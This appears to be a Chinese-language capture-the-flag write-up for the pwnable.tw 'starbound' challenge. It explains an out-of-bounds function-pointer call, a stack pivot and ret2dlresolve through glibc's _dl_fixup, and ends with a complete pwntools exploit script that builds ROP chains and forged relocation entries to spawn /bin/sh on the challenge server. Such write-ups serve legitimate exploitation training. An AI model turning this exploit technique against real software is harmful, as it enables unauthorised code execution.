--- title: starbound tags: pwnable --- # starbound ## 漏洞利用 這裡可以很明顯看出me結構中第468個bytes開始都視為函數指標,choice我們可控,且沒有做邊界檢查,所以有機會取得執行任意函數。 ![](https://i.imgur.com/uU3CQmo.png) ![](https://i.imgur.com/lxQHzdV.png) 有了執行任意函數的能力後,觀察一下執行函數之前的stack狀況,發現當前stack frame是部分可控的(大概0x100 bytes),我們可以控成我們要的ROP chain,並利用下面這個gadget觸發ROP chain。 ``` 0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret ``` 已經決定利用ROP了,但是此題沒有給library,所以我們不知道libc確切的offset,有很多其他的作法,最簡單的方法是用open,read和write讀flag ,三個是已經在plt內可以直接使用,但是還是想拿到shell,所以除了orw的作法外,還嘗試了ret2dlresolve,接下來指會說明ret2dlresolve的手法。 ## dlresolve ### 解析函數 這裡先稍微講解一下ret2dlresolve的作法,由於lazy binding的特性,在函數尚未執行前,都不會被解析,而下面為解析的部分,以open為範例。 第一次執行open時,會先從這兩行指令開始。 ![](https://i.imgur.com/Ij6zBCM.png) --- 接者會跳轉到地址`&plt[0]`,最後一個`JMP`將會跳到解析函數的入口點。 ![](https://i.imgur.com/gCIqgwM.png) --- 執行完的效果大概長的如下面一樣,且解析完後,會跳轉到open函數上,並執行open。 ```c _dl_fixup(*0x8055004,0x10); ``` ### 重要的section 這裡提到三個重要的section,`.rel.plt`,`.dynsym`,`.dynstr`,這三個section中存放了與函數重定位有關的結構,一次的函數解析大概就像下圖,最後會找到對應的函數名稱,並且從對應的library中將對應的function填寫到got中。 這裡比較可惜的是,本題的對於重定位表的保護為`Partial RELRO`,圖中三個table全都不能寫。 所以利用方法只能透過控制`_dl_fixup`的第二個參數。 ![](https://i.imgur.com/8C04nhg.png) ### 解析流程的介紹 函數名稱以及參數 ![](https://i.imgur.com/fDJgNs5.png) --- `symtab`,`strtab`分別存放著指標指向`.dynsym`,`.dynstr`的首地址。 ![](https://i.imgur.com/RmctjSu.png) --- `reloc_offset`被定義為`reloc_arg * sizeof (PLTREL)`,這一張圖便是在找`open`在`.rel.plt`對應的entry。 ![](https://i.imgur.com/1bCroLJ.png) --- 接下來透過`reloc->r_info`找到在`.dynsym`對應的entry。這裡要特別注意,**我們偽造的`.dynsym`的entry的地址減去`.dynsym`的首地址**,再模除16後必須為0,否則會導致對齊上的問題,而本題`.synsym`的地址為0x80481dc,故位造出來的地址需要滿足0xXXXXXXXc的格式。 > ![](https://i.imgur.com/W2ZbJIK.png) --- `l->l_addr + reloc->r_offset`計算出open在got中對應的entry ![](https://i.imgur.com/ejbutoq.png) --- **這張圖要特別注意一下**,由於記憶體段分布的限制,我們之後偽造的`.rel.plt`entry距離`.rel.plt`的首地址會很遠,所以我們的`reloc->r_info`會是一個相當大的值,這會導致segmentation fault的發生,所以我們要將`l->l_info[VERSYMIDF(DT_VERSYM)]`設為0來繞過這個if statement ![](https://i.imgur.com/u9SJxzO.png) --- `_dl_lookup_symbol_x`便是函數解析的關鍵,解析完會回傳對應函數的在library的地址。可以看到`strtab+sym->st_name`,這個便是指向函數名稱字串的指標。 ![](https://i.imgur.com/2YYBuaf.png) 最後將解析後的函數寫到got中對應的entry,此次解析便結束了。 ![](https://i.imgur.com/7gfHtvF.png) ![](https://i.imgur.com/QO8LRST.png) ## 利用思路 基本上就是利用ROP,中間有做一次stack pivot,最後就完成ret2dlresolve完成後,就可以呼叫open函數,便可以呼叫system,詳細的就看code吧! ```python3 from pwn import * import time #p = process('./starbound',env={'LD_LIBRARY_PATH': './tmp/usr/lib/i386-linux-gnu/'}) p = remote('chall.pwnable.tw', 10202) #context.log_level='info' context.log_level='error' #context.log_level = 'debug' s=''' b* 0x0804a65b b* 0x0804a0b8 ''' #gdb.attach(p,gdbscript=s) def menu(): log.info(p.recvuntil('> ')) def set_name(name): menu() p.sendline(b'6') menu() p.sendline(b'2') log.info(p.recvuntil(b': ')) p.sendline(name) menu() p.sendline(b'1') def calc_offset(target): #0x8058154 is our user's function table print(((target - 0x8058154)>>2)) return ((target - 0x8058154)>>2) def execute_rop(rop): #addr store the function pointer that we want to execute menu() #-33 print(-33) p.sendline(b"-33\n\00\x00\x00\x00"+rop) ########################################################## # our target is to modify put@got.plt to point to system # put fake .rel.plt entry at 0x8055100 # put fake .dynsym entry at 0x805510c # put "system\x00\x00" at 0x805511c # put "/bin/sh\x00" at 0x8055124 ########################################################## fake_resolve_data = b''.join([ #fake .rel.plt entry p32(0x8055014), p32((0xcf3<<8)|0x7), # (0x8055110-0x080481dc)>>4 = 0xcf3 #padding,since (fake .dynsym entry's addrees - 0x80484fc)%16 must be 0 p32(0), #fake .dynsym entry p32(0xcc20), # 0x805511c-0x80484fc = 0xcc24 p32(0), p32(0), p8(12), p8(0), p16(0), #"system" b'system\x00\x00' #"/bin/sh" b'/bin/sh\x00' ]) #name is at 0x80580d0 #0x0804a0b8 : add esp, 0x14 ; pop ebx ; pop esi ; ret set_name(p32(0x0804a0b8)) rop_chain = b''.join([ p32(0x8048a70), # read p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret p32(0), # fd p32(0x8055100), # fake resolve data p32(200) , # size p32(0x8048a30), # write p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret p32(1), # fd p32(0x8055004), # read the pointer that point to link_map p32(5), # size p32(0x8048a70), # read p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret p32(0), # fd p32(0x08058000-0x100), # construct new stack frame p32(200), # size p32(0x80491bc), # pop ebp ; ret p32(0x08058000-0x100), # pivot to new stack p32(0x8048c58), # leave ; ret ]) execute_rop(rop_chain) p.send(fake_resolve_data) #send fake resolve data #print(p.recvrepeat(0.5)) # read pointer point to info_map l time.sleep(0.1) p_info_map = p.recvn(4,timeout=1) print(p_info_map) p_info_map = u32(p_info_map) print("info_map : ",hex(p_info_map)) #new stack is at 0x08058000-0x100 pivot_stage1 = b''.join([ p32(0), # padding p32(0x8048a70), # read p32(0x80494da), # pop ebx ; pop esi ; pop edi ; ret p32(0), # fd p32(p_info_map+0xe8-20), # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero # since our ld.so may different to the server # we have to try to guess the of set of # l->l_info[VERSYMIDX (DT_VERSYM)] p32(4*10), # size p32(0x8048940), # &.plt[0] p32(0xc938), # 0x8055100-0x80487c8 = 0xc938 p32(0x8048970), # open@got.plt is now point to system p32(0x0), # padding p32(0x8055124) # /bin/sh ]) p.send(pivot_stage1) # send new stack frame p.send(p32(0)*10) # set l->l_info[VERSYMIDX (DT_VERSYM)] to zero p.interactive() ```